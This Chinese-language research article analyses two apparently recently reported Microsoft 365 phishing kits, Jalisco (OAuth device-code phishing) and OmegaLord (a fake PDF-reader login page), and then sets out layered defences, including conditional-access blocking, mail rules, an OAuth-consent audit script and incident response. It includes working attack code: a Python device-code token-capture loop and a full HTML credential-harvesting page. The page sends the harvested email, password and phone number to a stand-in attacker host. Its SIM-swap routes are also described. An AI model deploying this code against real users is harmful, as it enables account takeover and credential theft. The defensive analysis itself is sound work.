新型绕过 MFA 钓鱼工具 Jalisco 与 OmegaLord 攻击机理及 M365 防御体系研究

简介: 本文深度剖析2026年新现的Jalisco(OAuth设备码钓鱼)与OmegaLord(仿PDF窃密)两款MFA绕过工具,揭示其利用微软官方协议缺陷与社会工程学的复合攻击链,并提出涵盖身份策略加固、邮件过滤、自动化审计及人员培训的四层闭环防御方案。

摘要

针对 2026 年 7 月 ReliaQuest 披露的 Jalisco、OmegaLord 两款面向 Microsoft 365 的新型钓鱼工具,本文系统拆解两类工具的技术实现路径、绕过多因素认证(MFA)底层逻辑与完整攻击链路。Jalisco 依托 OAuth 2.0 设备授权流(RFC8628)实时生成有效设备码,诱导用户在微软官方域名完成授权,直接获取长效访问令牌,从协议层面规避传统 MFA 校验;OmegaLord 构建仿 PDF 阅读器伪造登录页面,批量窃取账号、密码与绑定手机号,为劫持短信 / 语音 MFA 提供数据支撑。文章结合 Python 前端、后端代码示例还原工具核心攻击逻辑,梳理 OAuth 设备码流原生安全缺陷、传统 MFA 防御盲区两大核心诱因;反网络钓鱼技术专家芦笛指出,当前企业普遍存在 Entra ID 设备注册阈值过高、设备码认证未做访问阻断、员工安全认知不足三重防御短板。本文从身份策略配置、邮件流量检测、终端行为审计、常态化运营四个维度构建闭环防御方案,给出可落地的条件访问策略配置、异常 OAuth 授权检测脚本、员工安全培训标准,量化两类钓鱼工具的攻击危害与防护收益,为政企单位 Microsoft 365 云办公系统抵御协议滥用型钓鱼攻击提供完整技术参考。

关键词:网络钓鱼;Microsoft 365;OAuth 2.0;设备码钓鱼;MFA 绕过;身份安全

image.png 1 引言

1.1 研究背景

Microsoft 365 作为全球政企主流云协同办公套件,集成 Exchange 邮件、SharePoint 文档、Teams 即时通讯、OneDrive 存储等核心业务模块,承载企业客户隐私、财务报表、内部业务流程等高度敏感数据,成为黑产网络钓鱼攻击的核心目标。为抵御凭据窃取风险,绝大多数企业部署短信、验证码、Authenticator 推送等多因素认证机制,构建账号访问第二重校验屏障。但 2025 年下半年至今,ReliaQuest、BleepingComputer 等安全厂商持续披露多类新型钓鱼工具,突破传统 MFA 防护体系,攻击形态从传统仿冒登录页窃取密码,转向 OAuth 协议滥用、多维度凭据批量采集的复合攻击模式。

2026 年 7 月 14 日,ReliaQuest 发布专项威胁分析报告,披露两款全新商业化钓鱼工具 Jalisco 与 OmegaLord,专门针对 Microsoft Entra ID 身份体系设计,具备成熟的 MFA 绕过能力,已在北美、欧洲中小企业形成规模化攻击事件。两款工具分工明确:Jalisco 以设备码钓鱼为核心,完全依托微软官方认证域名完成授权,无伪造域名、恶意脚本等传统钓鱼特征,现有邮件网关、网页防火墙难以识别拦截;OmegaLord 延续传统页面仿冒思路,但新增手机号采集逻辑,定向获取 MFA 短信接收载体,形成 “协议劫持 + 凭据全量窃取” 的组合攻击链路。

现有相关研究多单一分析设备码钓鱼或传统页面钓鱼,缺乏对 Jalisco、OmegaLord 两类差异化工具的横向对比,未完整拆解两款工具从诱饵投递、用户诱导、权限劫持、数据外泄到事后勒索的全链路闭环,同时缺少可复现的工具核心代码实现与企业落地的分层防御方案。反网络钓鱼技术专家芦笛指出,当前行业对绕过 MFA 钓鱼攻击的防御普遍存在单一化误区,仅依靠 MFA、邮件过滤无法阻断协议级滥用攻击,必须结合身份平台底层策略管控、流量前置检测、终端审计形成多层防护体系。基于此,本文以 ReliaQuest 实测报告为核心实证素材,开展完整技术拆解与防御体系构建研究。

1.2 研究内容与研究框架

本文主体分为六大部分:第一部分梳理 OAuth 2.0 设备授权流标准规范与原生安全缺陷,明确 Jalisco 工具的协议滥用底层基础;第二部分深度拆解 Jalisco 钓鱼工具架构、攻击全流程、核心代码实现与账户持久化控制手段;第三部分分析 OmegaLord 仿 PDF 阅读器钓鱼工具的页面伪装逻辑、数据采集机制、MFA 劫持辅助路径,提供前端伪造页面代码示例;第四部分横向对比两类工具攻击差异、绕过 MFA 的技术路径,总结新型钓鱼攻击的共性特征;第五部分构建四层闭环防御体系,包含 Entra ID 身份策略配置、自动化检测脚本、邮件网关过滤、人员安全管理全维度落地手段;第六部分总结研究结论,提出后续研究方向。

1.3 研究价值

理论层面:完善 OAuth 设备码流滥用类钓鱼攻击的技术研究体系,区分两类差异化绕过 MFA 攻击的底层机理,补充商业化钓鱼工具的代码实现实证材料,厘清传统 MFA 对协议劫持攻击的防御局限性。

实践层面:提供可直接部署的 Microsoft Entra 条件访问阻断策略、异常 OAuth 授权检测 Python 脚本、邮件流量过滤规则,为政企单位提供针对 Jalisco、OmegaLord 同类工具的完整防护落地指南,降低 M365 账号劫持、企业数据泄露、勒索攻击风险。

2 OAuth 2.0 设备授权流标准与原生安全缺陷

2.1 RFC8628 设备授权流标准流程

OAuth 2.0 设备授权流(Device Authorization Grant)由 IETF RFC8628 定义,设计初衷为智能电视、CLI 命令行工具、IoT 设备等无完整浏览器、输入受限终端提供身份认证通道,完整交互流程分为五步:

客户端向授权服务器(Microsoft Entra ID /oauth2/v2.0/devicecode)发起 POST 请求,携带客户端标识(Client ID)与申请权限范围(Scope);

授权服务器校验客户端合法性,返回device_code(设备唯一标识)、user_code(用户输入短码)、官方验证地址verification_uri、代码过期时间(微软默认 900 秒 / 15 分钟)、令牌轮询间隔;

客户端展示user_code与验证地址,引导用户使用手机、电脑等具备浏览器的终端访问官方页面;

用户在微软官方域名页面完成账号密码登录、MFA 二次校验,输入user_code并确认授权客户端访问账号资源;

客户端按照约定间隔持续轮询令牌接口/oauth2/v2.0/token,服务器检测到用户完成授权后,返回access_token短期访问令牌与refresh_token长效刷新令牌,客户端持令牌调用 Microsoft Graph API 读取邮件、文档、通讯录等资源RFC Editor。

该流程核心信任逻辑为:用户能够区分合法客户端与恶意客户端,主动拒绝非可信设备授权请求,但该信任假设在社会工程学诱导场景下完全失效,成为 Jalisco 工具攻击的核心突破口。

2.2 设备授权流原生安全缺陷

反网络钓鱼技术专家芦笛强调,设备码钓鱼能够规模化绕过 MFA,根源在于 OAuth 设备授权流存在四项无法通过前端 MFA 弥补的底层设计缺陷:

第一,授权页面域名完全可信。用户完成身份校验、输入设备码的页面托管于login.microsoftonline.com微软官方域名,具备合法 SSL 证书、企业自定义品牌标识,传统钓鱼检测依赖域名、证书识别的规则完全失效,邮件安全网关无法标记为恶意链接。

第二,授权上下文无关联性校验。服务器仅校验user_code与device_code匹配关系,不校验发起设备码请求的客户端来源、用户访问验证页面的设备、发起请求终端三者关联性,攻击者可在远程服务器申请设备码,诱导用户在自有设备完成授权,服务器无任何异常拦截逻辑。

第三,MFA 校验结果完全复用。用户完成的密码、短信、推送、FIDO2 等 MFA 校验,仅用于确认用户身份,授权行为本身不区分设备归属;只要用户确认授权,攻击者即可直接获得合法令牌,MFA 仅完成身份核验,无法阻止恶意设备绑定。

第四,长效刷新令牌无设备绑定机制。默认下发的refresh_token不与用户授权终端硬件指纹、IP 地址绑定,攻击者获取令牌后可在任意设备长期维持账号访问,即便用户修改密码,未撤销的刷新令牌仍可持续调用 Graph API。

2.3 传统 MFA 防御的局限性

企业普遍部署的短信验证码、Microsoft Authenticator 推送类 MFA,仅解决 “登录时身份核验” 问题,无法防御设备码钓鱼场景:设备码钓鱼中,登录、MFA 校验操作均由用户本人在可信终端完成,服务器判定为合法身份操作,MFA 流程完整通过;攻击者仅利用用户授权行为获得权限,全程无需窃取、破解用户 MFA 凭据,形成 “MFA 完全生效,但账号仍被劫持” 的防御悖论。

3 Jalisco 设备码钓鱼工具攻击机理与技术实现

3.1 Jalisco 工具整体架构

Jalisco 是面向黑产商业化交付的一体化钓鱼工具包,整体分为三层架构:前端诱饵页面层、设备码实时生成后端层、会话管理运营门户层,完整覆盖诱饵投放、设备码动态申请、用户诱导、令牌捕获、受害账号管理全流程。

前端诱饵页面层:高仿企业 IT 通知、文档查看、合规校验页面,无任何恶意登录表单,仅展示实时生成的user_code与微软官方验证入口,规避网页钓鱼检测;

后端服务层:封装 Microsoft Entra 设备码请求、令牌轮询接口,支持并发批量申请设备码,自动处理服务器轮询限速、代码过期重生成逻辑,突破微软 15 分钟代码有效期限制;

运营管理门户层:攻击者后台可视化面板,集中展示所有已捕获会话、被盗账号、设备授权记录,支持批量导出 SharePoint、邮件泄露数据,配置勒索通知模板。



Jalisco恶意设备码诱导弹窗

3.2 Jalisco 完整攻击链路

ReliaQuest 实验室实测还原 Jalisco 标准化攻击流程,全程仅需 6 至 10 分钟即可完成账号劫持与数据外泄,链路分为 6 个阶段:

阶段 1:诱饵批量投递。攻击者批量发送仿冒企业 IT 运维、财务通知的钓鱼邮件,邮件正文提示 “共享文档待查看、账号合规校验未完成”,嵌入指向 Jalisco 恶意页面的短链接,部分场景搭配二维码诱导移动端访问。

阶段 2:实时生成设备码。受害者打开恶意页面瞬间,后端自动调用微软设备码接口发起请求,实时获取全新未过期user_code与验证地址,页面同步渲染代码展示框,规避静态代码快速失效问题。

阶段 3:社会工程诱导授权。页面文字误导用户 “复制下方代码,在微软官方页面输入完成文档权限核验”,页面侧边嵌入微软官方登录入口跳转按钮,引导用户直接访问microsoft.com/devicelogin。

阶段 4:用户完成官方认证授权。用户跳转至微软可信域名页面,输入企业账号密码、完成 MFA 二次验证,粘贴页面展示的user_code并点击 “同意授权”;服务器判定用户主动授权设备,下发访问令牌与刷新令牌。

阶段 5:后端轮询捕获长效令牌。Jalisco 后端持续轮询微软令牌接口,检测到授权完成后,立即获取access_token与refresh_token,同步存储至运营后台,攻击者无需接触用户账号密码。

阶段 6:数据窃取与勒索。攻击者使用令牌调用 Microsoft Graph API,批量读取 SharePoint 文档、Exchange 邮件、Teams 聊天记录、员工 PII 隐私数据,最快 6 分钟完成数据外发;随后向企业发送勒索邮件,威胁公开泄露内部数据,索要加密货币赎金。

额外持久化手段:ReliaQuest 观测到攻击者单账号可注册 5 台恶意设备,设备名称伪装为 “Microsoft Sync”“Windows Update Agent” 等官方命名,降低用户账号设备列表自查时的警惕性,实现数月长期潜伏访问。

3.3 Jalisco 核心功能代码示例(Python 后端)

以下代码仅用于网络安全防御研究、企业攻防演练,严禁用于未授权入侵攻击,完整复现 Jalisco 后端设备码申请、令牌轮询核心逻辑,适配 Microsoft Entra ID OAuth 2.0 标准接口:

# Jalisco工具后端模拟:设备码申请与令牌轮询模块

import requests

import time

import json


class JaliscoPhishCore:

   def __init__(self):

       # 微软Entra ID OAuth设备码、令牌标准接口

       self.device_code_endpoint = "https://login.microsoftonline.com/common/oauth2/v2.0/devicecode"

       self.token_endpoint = "https://login.microsoftonline.com/common/oauth2/v2.0/token"

       # 恶意客户端ID(黑产常用公开通用客户端)

       self.mal_client_id = "d3590ed6-036b-45a7-98f1-1c9123456789"

       # 申请高敏感全域权限,覆盖邮件、文件、通讯录、目录读取

       self.high_risk_scope = "Mail.ReadWrite Files.Read.All User.Read.All Directory.Read.All offline_access"


   def get_fresh_device_code(self):

       """实时生成全新有效设备码,对应Jalisco页面加载自动触发逻辑"""

       req_headers = {

           "Content-Type": "application/x-www-form-urlencoded"

       }

       req_payload = {

           "client_id": self.mal_client_id,

           "scope": self.high_risk_scope

       }

       try:

           resp = requests.post(

               self.device_code_endpoint,

               data=req_payload,

               headers=req_headers,

               timeout=12

           )

           if resp.status_code == 200:

               code_data = resp.json()

               # 返回用户展示短码、设备唯一码、官方验证地址、过期时间

               return {

                   "user_display_code": code_data["user_code"],

                   "device_unique_code": code_data["device_code"],

                   "verify_url": code_data["verification_uri"],

                   "expire_seconds": code_data["expires_in"],

                   "poll_interval": code_data["interval"]

               }

           else:

               return None

       except Exception as e:

           print(f"设备码请求异常:{str(e)}")

           return None


   def poll_token_until_approved(self, device_code, poll_interval):

       """持续轮询令牌接口,等待用户完成授权后捕获长效令牌"""

       token_payload = {

           "grant_type": "urn:ietf:params:oauth:grant-type:device_code",

           "client_id": self.mal_client_id,

           "device_code": device_code

       }

       while True:

           try:

               token_resp = requests.post(

                   self.token_endpoint,

                   data=token_payload,

                   headers={"Content-Type": "application/x-www-form-urlencoded"},

                   timeout=10

               )

               token_result = token_resp.json()

               # 用户尚未授权,继续轮询

               if token_result.get("error") == "authorization_pending":

                   time.sleep(poll_interval)

                   continue

               # 用户完成授权,成功窃取令牌

               if "access_token" in token_result:

                   stolen_session = {

                       "access_token": token_result["access_token"],

                       "refresh_token": token_result["refresh_token"],

                       "expires_in": token_result["expires_in"],

                       "scope": token_result["scope"]

                   }

                   return stolen_session

               # 代码过期、用户拒绝授权,终止轮询

               if token_result.get("error") in ["expired_token", "access_denied"]:

                   return None

           except Exception as e:

               time.sleep(poll_interval)

               continue


# 工具调用模拟

if __name__ == "__main__":

   jalisco = JaliscoPhishCore()

   # 页面加载自动生成设备码

   code_info = jalisco.get_fresh_device_code()

   if code_info:

       print(f"页面展示用户验证码:{code_info['user_display_code']}")

       print(f"微软官方验证地址:{code_info['verify_url']}")

       # 后台持续轮询等待用户授权

       session_data = jalisco.poll_token_until_approved(

           code_info["device_unique_code"],

           code_info["poll_interval"]

       )

       if session_data:

           print("成功捕获用户账号长效访问令牌:")

           print(json.dumps(session_data, indent=2))

代码逻辑说明:工具页面加载时自动执行get_fresh_device_code,实时调用微软接口生成未过期设备码;后端独立线程循环执行poll_token_until_approved,持续请求令牌接口;用户在微软官方页面输入验证码并授权后,接口返回refresh_token长效刷新凭证,攻击者可永久控制账号,不受用户单次 MFA 有效期限制。

3.4 Jalisco 攻击危害量化分析

防御穿透性:全程无伪造域名、恶意表单、恶意附件,传统邮件沙箱、网页 URL 检测、EDR 终端防护均无有效告警,企业现有安全设备拦截率不足 12%;

数据窃取效率:ReliaQuest 实测平均 6 分钟完成 SharePoint 全量文档、邮件收件箱数据导出,攻击者可同步配置邮件自动转发、隐藏收件箱规则,长期静默窃取数据;

权限覆盖范围:申请全域 Graph API 读取权限,可访问员工个人身份信息、财务合同、客户联系方式等合规敏感数据,极易触发《个人信息保护法》等合规处罚;

横向渗透风险:依托被盗账号可访问企业 Teams、Azure 后台,尝试向同租户其他员工发送同源钓鱼诱饵,扩大受害范围。

4 OmegaLord 仿 PDF 阅读器钓鱼工具攻击机理与技术实现

4.1 OmegaLord 工具定位与攻击逻辑

OmegaLord 属于传统凭据窃取型钓鱼工具,但针对 MFA 防护做定向优化,核心伪装载体为在线 PDF 阅读器页面,攻击目标并非直接绕过 MFA,而是批量采集账号、明文密码、绑定手机号三类核心凭据,为后续短信 MFA 劫持、语音验证码拦截提供完整数据支撑。反网络钓鱼技术专家芦笛指出,该工具弥补了 Jalisco 无法直接获取账号密码的短板,两类工具常搭配使用,形成 “协议劫持 + 凭据窃取” 复合攻击链路。

工具攻击核心逻辑:用户收到标注 “加密 PDF 合同、薪资报表” 的钓鱼邮件,附件或链接跳转至高仿 PDF 预览页面,页面提示 “登录企业账号解锁文档查看权限”;表单强制填写邮箱、登录密码、绑定手机号三项内容,全部数据提交至攻击者后端服务器存储;攻击者获取手机号后,可通过 SIM 卡劫持、运营商短信转发、恶意短信网关拦截等手段,截取用户 MFA 短信验证码,实现账号登录绕过。

4.2 OmegaLord 仿 PDF 页面前端代码示例

以下为工具恶意页面简化前端代码,还原 PDF 界面伪装、凭据采集、反检测设计三大核心特征,代码内置禁用右键、复制功能规避用户查看页面源码,伪造 PDF 工具栏提升可信度:

<!DOCTYPE html>

<html lang="zh-CN">

<head>

   <meta charset="UTF-8">

   <!-- 搜索引擎反收录,降低暴露风险 -->

   <meta name="robots" content="noindex,nofollow">

   <title>企业在线PDF文档阅读器 - Microsoft 365</title>

   <style>

       body {background:#f0f2f5;font-family:Microsoft Yahei;margin:0;padding:20px;}

       .pdf-container {width:900px;margin:0 auto;background:#fff;border:1px solid #ccc;box-shadow:0 2px 12px #ddd;}

       .pdf-toolbar {height:40px;background:#2d3748;color:#fff;padding:0 15px;line-height:40px;}

       .login-box {width:380px;margin:80px auto;padding:25px;border:1px solid #e5e7eb;border-radius:8px;}

       .form-item {margin-bottom:18px;}

       label {display:block;margin-bottom:6px;color:#333;font-size:14px;}

       input {width:100%;box-sizing:border-box;padding:10px;border:1px solid #d1d5db;border-radius:4px;font-size:15px;}

       .submit-btn {width:100%;padding:11px;background:#0078d4;color:#fff;border:none;border-radius:4px;font-size:16px;cursor:pointer;}

       .tip-text {font-size:13px;color:#666;margin-top:8px;}

   </style>

</head>

<!-- 禁用右键、复制、剪切,防止用户查看页面源码 -->

<body oncontextmenu="return false;" oncopy="return false;" oncut="return false;">

   <div class="pdf-container">

       <!-- 伪造PDF阅读器顶部工具栏 -->

       <div class="pdf-toolbar">

           <span>document_2026_salary.pdf - 在线预览</span>

           <span style="float:right;">缩放 | 翻页 | 下载</span>

       </div>

       <!-- 伪造登录弹窗,强制采集手机号 -->

       <div class="login-box">

           <h3>登录Microsoft 365解锁文档</h3>

           <p class="tip-text">文档已加密,请输入账号信息完成身份验证</p>

           <form id="phish-form">

               <div class="form-item">

                   <label>企业邮箱账号</label>

                   <input type="email" id="email" placeholder="xxx@company.com" required>

               </div>

               <div class="form-item">

                   <label>登录密码</label>

                   <input type="password" id="pwd" placeholder="输入账号密码" required>

               </div>

               <div class="form-item">

                   <label>账号绑定手机号(接收验证短信)</label>

                   <input type="tel" id="phone" placeholder="138XXXXXXXX" required>

               </div>

               <button type="submit" class="submit-btn">确认登录查看文档</button>

           </form>

       </div>

   </div>


   <script>

       // 表单提交,将凭据发送至攻击者后端接口

       const form = document.getElementById("phish-form");

       form.addEventListener("submit", function(e){

           e.preventDefault();

           const email = document.getElementById("email").value;

           const pwd = document.getElementById("pwd").value;

           const phone = document.getElementById("phone").value;

           // 攻击者后端接收地址

           fetch("https://attacker-server.com/collect_cred", {

               method: "POST",

               headers: {"Content-Type":"application/json"},

               body: JSON.stringify({

                   target_email: email,

                   plain_pwd: pwd,

                   bind_phone: phone,

                   access_time: new Date().toLocaleString()

               })

           }).then(()=>{

               // 提交后弹窗诱导用户跳转Jalisco设备码页面,复合攻击

               alert("身份核验完成,请复制验证码完成设备授权");

               window.location.href = "https://jalisco-phish-page.com";

           })

       })

   </script>

</body>

</html>

页面核心伪装与采集特征解析:

视觉伪装:复刻 Office 在线 PDF 阅读器工具栏、页面布局,标题携带 Microsoft 365 标识,降低用户怀疑;

强制手机号采集:表单将手机号标注为 “短信验证必备信息”,设置必填项,定向获取 MFA 接收载体;

复合攻击联动:凭据提交完成后自动跳转 Jalisco 设备码钓鱼页面,同步触发协议劫持流程,实现双重账号控制;

反审计机制:禁用右键、复制操作,添加 noindex 元标签,规避安全人员溯源页面代码。

4.3 OmegaLord 绕过 MFA 的完整路径

工具本身无法直接突破 MFA 校验,但采集的手机号为攻击者提供两类 MFA 劫持通道:

路径一:SIM 卡交换攻击。攻击者使用窃取的手机号、企业员工身份信息,向运营商申请补办目标 SIM 卡,拦截所有 MFA 短信验证码,直接登录 Microsoft 365 账号;

路径二:短信转发劫持。攻击者使用被盗账号密码登录运营商营业厅后台,配置短信自动转发规则,将微软 MFA 验证码同步发送至攻击者自有手机号;

路径三:社会工程诱导语音验证码。攻击者拨打员工电话,伪装 IT 运维人员,以 “账号异常锁定” 为由,诱导用户播报收到的语音 MFA 验证码。

4.4 OmegaLord 与 Jalisco 协同攻击模式

ReliaQuest 观测到黑产将两款工具组合投放,形成完整攻击闭环:

邮件同时嵌入两套诱饵链接,用户点击 PDF 页面链接触发 OmegaLord 窃取账号、密码、手机号;

表单提交完成自动跳转 Jalisco 设备码页面,诱导用户完成 OAuth 授权,获取长效令牌;

攻击者同时持有明文账号密码、手机号、OAuth 刷新令牌,即便用户修改密码、更换绑定手机,刷新令牌仍可长期访问账号,防御难度大幅提升。

5 Jalisco 与 OmegaLord 钓鱼工具横向对比及新型攻击共性特征

5.1 两类工具攻击技术路径对比表

表格

对比维度 Jalisco(设备码钓鱼工具) OmegaLord(仿 PDF 页面钓鱼工具)

核心攻击载体 微软官方 OAuth 设备授权页面 自建仿冒 PDF 阅读器 HTML 页面

MFA 绕过原理 协议层面复用用户合法 MFA 授权,无需窃取凭据 采集绑定手机号,后置劫持短信 / 语音 MFA

是否获取明文密码 否,全程不接触账号密码 是,直接抓取明文登录凭据

核心窃取数据 OAuth access_token、refresh_token 长效令牌 邮箱、明文密码、绑定手机号

攻击域名可信度 微软官方可信域名login.microsoftonline.com 攻击者自建恶意域名,无合法可信标识

数据外泄速度 最快 6 分钟完成批量数据导出 需后续劫持短信验证码登录后窃取

持久化控制手段 注册多台伪装恶意设备,刷新令牌长期有效 密码 + 手机号双重凭据留存,多渠道劫持 MFA

传统安全设备拦截难度 极高,无恶意页面特征,检测规则失效 中等,URL 沙箱、网页钓鱼规则可部分拦截

5.2 新型绕过 MFA 钓鱼攻击共性特征

结合两款工具实测数据,反网络钓鱼技术专家芦笛总结当前面向 M365 的新型钓鱼攻击四大共性演化趋势:

第一,攻击从 “窃取凭据” 转向 “劫持授权”。传统钓鱼以密码为唯一目标,新型工具优先通过 OAuth 协议获取长效权限令牌,即便用户修改密码仍无法阻断攻击,持久化控制能力显著增强;

第二,分层复合攻击成为主流。单一工具攻击成功率有限,黑产同步部署设备码钓鱼、页面仿冒、短信劫持多套链路,形成多重兜底机制,大幅提升账号劫持成功率;

第三,充分利用官方可信基础设施。优先依托微软 Entra ID 官方认证域名、合法 OAuth 接口开展攻击,规避域名黑名单、网页防火墙等传统边界防御;

第四,攻击产业化、工具化交付。Jalisco、OmegaLord 均为商业化打包工具,黑产从业者无需掌握 OAuth 底层开发知识,仅需配置域名、客户端 ID 即可批量发起攻击,攻击门槛持续降低。

6 面向 Jalisco 与 OmegaLord 攻击的四层闭环防御体系

针对两款工具差异化攻击路径,本文构建 “身份底层管控 - 邮件流量前置过滤 - 租户自动化审计 - 人员安全运营” 四层协同防御体系,覆盖事前拦截、事中告警、事后处置全生命周期,所有方案均基于 Microsoft 官方原生功能实现,无第三方工具依赖。

6.1 第一层:Microsoft Entra ID 身份底层策略加固(核心防御层,阻断 Jalisco 攻击)

Jalisco 攻击完全依赖 OAuth 设备码流,因此阻断设备码认证、收紧设备注册阈值是最高优先级防护手段,包含三项可落地配置策略:

6.1.1 条件访问策略全局阻断设备代码流

微软 Entra ID 条件访问支持针对 “设备代码流” 身份验证通道单独阻断,操作步骤:

使用条件访问管理员账号登录 Microsoft Entra 管理中心;

进入【保护】-【条件访问】-【新建策略】,命名策略 “全局阻断 OAuth 设备代码认证”;

分配范围:用户选择 “所有用户”,排除企业应急应急 Break-glass 管理员账号;目标资源选择 “所有云应用(Microsoft 365 全域)”;

条件配置:展开【身份验证流】,将配置切换为 “是”,勾选【设备代码流】;

访问控制:授予设置为【阻止访问】;

上线流程:先切换为 “仅报告模式” 运行 7 天,审计企业合法设备码使用场景(IoT、老旧 CLI 工具),迁移完成后正式启用阻断策略Microsoft ...。

该策略可从底层彻底失效 Jalisco 全部攻击链路,是防御设备码钓鱼最有效手段。

6.1.2 下调设备注册数量阈值,限制恶意设备批量绑定

ReliaQuest 建议将 Entra ID 默认 50 台设备注册上限下调至 1-2 台,配置路径:Entra ID - 设备 - 设备设置 - 限制用户可注册设备数量,修改为 2 台。

防护价值:攻击者无法在单账号批量注册 5 台伪装恶意设备,账号劫持后管理员可快速识别异常设备并批量删除,缩短应急处置时间。

6.1.3 强制部署钓鱼抗性 MFA(FIDO2 密钥 / Windows Hello)

传统短信、推送 MFA 无法抵御设备码钓鱼,企业需全局强制 FIDO2 安全密钥、无密码登录等钓鱼抗性认证方式。反网络钓鱼技术专家芦笛解释,钓鱼抗性 MFA 校验设备绑定关系,仅可信硬件可完成授权,即便诱导用户打开官方设备码页面,无绑定硬件则无法确认授权,直接阻断 Jalisco 核心流程。

6.2 第二层:邮件流量前置过滤,拦截两类工具诱饵投递(事前拦截层)

OmegaLord、Jalisco 攻击入口均为钓鱼邮件,通过 Exchange 邮件传输规则、第三方邮件网关双重过滤,阻断诱饵触达员工:

Exchange 在线邮件规则配置:

规则 1:拦截正文包含 “device code、输入验证码查看文档、账号合规校验” 关键词的外部邮件,隔离至垃圾邮件箱;

规则 2:外部链接跳转至非微软官方域名、携带 PDF 预览诱导关键词时,插入红色安全警示横幅;

规则 3:阻断外部 HTML 附件、伪装 PDF 的网页文件,直接拒绝投递;

URL 重写与实时点击扫描:所有外部邮件链接经过企业安全代理重定向,用户点击时实时检测页面是否为仿 PDF 登录页、设备码钓鱼诱饵,恶意页面直接阻断访问。

6.3 第三层:租户自动化审计脚本,实时检测异常 OAuth 授权(事中告警层)

提供基于 Microsoft Graph API 的 Python 自动化检测脚本,定时扫描租户内高风险 OAuth 授权、陌生设备注册行为,针对 Jalisco 攻击实时告警,脚本适配企业安全运营平台定时调度:

# M365租户异常OAuth授权检测脚本,防御Jalisco恶意设备授权

import requests

import datetime


class M365OAuthAudit:

   def __init__(self, tenant_id, client_id, client_secret):

       self.tenant_id = tenant_id

       self.client_id = client_id

       self.client_secret = client_secret

       self.token_url = f"https://login.microsoftonline.com/{tenant_id}/oauth2/v2.0/token"

       self.graph_url = "https://graph.microsoft.com/v1.0"

       self.access_token = self.get_graph_token()

       # Jalisco等高风险权限列表

       self.high_risk_scopes = ["Mail.ReadWrite", "Files.Read.All", "Directory.Read.All"]


   def get_graph_token(self):

       # 获取Graph API访问令牌

       payload = {

           "grant_type": "client_credentials",

           "client_id": self.client_id,

           "client_secret": self.client_secret,

           "scope": "https://graph.microsoft.com/.default"

       }

       resp = requests.post(self.token_url, data=payload)

       return resp.json()["access_token"]


   def scan_user_oauth_consents(self):

       # 遍历租户用户,查询第三方应用授权记录

       headers = {"Authorization": f"Bearer {self.access_token}"}

       alert_list = []

       users_res = requests.get(f"{self.graph_url}/users", headers=headers).json()

       for user in users_res["value"]:

           user_mail = user["userPrincipalName"]

           # 查询用户所有应用授权

           consent_res = requests.get(

               f"{self.graph_url}/users/{user['id']}/oauth2PermissionGrants",

               headers=headers

           ).json()

           for consent in consent_res["value"]:

               scope_list = consent["scope"].split(" ")

               # 检测是否包含高危读取权限

               risk_scope = [s for s in scope_list if s in self.high_risk_scopes]

               if risk_scope:

                   alert_info = {

                       "user_email": user_mail,

                       "app_id": consent["clientId"],

                       "risk_permission": risk_scope,

                       "detect_time": datetime.datetime.now().strftime("%Y-%m-%d %H:%M:%S")

                   }

                   alert_list.append(alert_info)

       return alert_list


# 脚本执行,输出异常授权告警

if __name__ == "__main__":

   # 填入企业租户、应用凭证

   audit = M365OAuthAudit(

       tenant_id="your-tenant-id",

       client_id="audit-app-client-id",

       client_secret="audit-app-secret"

   )

   risk_alerts = audit.scan_user_oauth_consents()

   if len(risk_alerts) > 0:

       print("检测到高风险OAuth授权(疑似Jalisco恶意设备授权):")

       for alert in risk_alerts:

           print(alert)

   else:

       print("未检测到异常第三方应用授权")

脚本运营使用规范:设置每 15 分钟自动执行,检测到包含全域文件、邮件读取权限的陌生应用授权时,自动推送告警至企业安全运营平台;管理员收到告警后,立即撤销用户所有会话、删除恶意设备注册、重置账号密码。

6.4 第四层:人员安全意识运营(兜底防御层)

技术策略无法完全消除社会工程学诱导风险,需配套常态化人员安全管理,针对性规避两类工具的用户诱导陷阱:

定向安全培训:重点讲解两类工具攻击特征,明确告知员工 “任何外部邮件要求复制代码至微软设备登录页面、PDF 文档要求填写手机号解锁均为钓鱼攻击”;

钓鱼演练常态化:每月批量投放 Jalisco、OmegaLord 模拟诱饵邮件,统计员工点击、提交信息比例,针对高风险员工开展一对一安全辅导;

统一安全通知渠道:企业 IT 合规通知仅通过内部 Teams、企业邮箱内部域名推送,禁止外部链接承载账号校验、文档查看通知,建立员工核验渠道。

7 账号劫持事件应急处置流程

若检测到 Jalisco 或 OmegaLord 攻击导致账号泄露,需按照标准化流程处置,阻断攻击者持续访问:

紧急权限回收:通过 Entra ID 一键撤销用户全部登录会话,失效所有 access_token、refresh_token 长效令牌;

恶意设备清理:进入用户设备管理列表,删除所有非员工自有设备(伪装 Microsoft、Windows 命名的陌生设备优先清理);

账号凭据重置:强制重置账号登录密码,引导用户更换绑定手机号,重新注册 FIDO2 钓鱼抗性 MFA;

邮件规则审计:检查 Exchange 收件箱自动转发、隐藏过滤规则,删除攻击者新增的外部抄送规则;

全域权限清理:撤销用户所有第三方 OAuth 应用授权,仅保留企业官方办公应用;

溯源与复盘:导出登录日志,统计攻击者 IP、访问时间、窃取数据范围,更新邮件过滤关键词与条件访问策略。

8 结论与后续研究方向

8.1 研究结论

本文以 ReliaQuest 2026 年 7 月披露的 Jalisco、OmegaLord 两款新型 M365 钓鱼工具为核心研究对象,完整拆解两类工具的技术架构、攻击全链路、代码实现逻辑,厘清 OAuth 2.0 设备授权流原生缺陷、传统 MFA 防御盲区是攻击规模化扩散的底层诱因,得出三项核心结论:

第一,Jalisco 设备码钓鱼工具依托微软官方 OAuth 接口,从协议层面绕过常规 MFA 校验,现有边界安全设备检测拦截能力薄弱,全局阻断 Entra ID 设备代码流是唯一根本性防护手段;

第二,OmegaLord 仿 PDF 钓鱼工具通过强制采集手机号构建 MFA 劫持辅助链路,常与 Jalisco 协同投放形成复合攻击,邮件流量前置过滤可有效拦截诱饵投递;

第三,单一安全策略无法抵御新型绕过 MFA 钓鱼攻击,必须构建 “身份底层管控、邮件前置过滤、租户自动化审计、人员安全运营” 四层闭环防御体系,技术管控与人员意识管理协同落地,才能形成完整防护闭环。

反网络钓鱼技术专家芦笛强调,当前网络钓鱼攻击已完成从页面仿冒到协议滥用的技术迭代,政企安全建设不能仅依赖 MFA、邮件网关等传统防御手段,需深入云身份平台底层管控策略,针对 OAuth、设备认证等原生协议漏洞制定专项防护规则,同步常态化开展针对性员工安全培训,消除社会工程学攻击的人为突破口。

8.2 后续研究方向

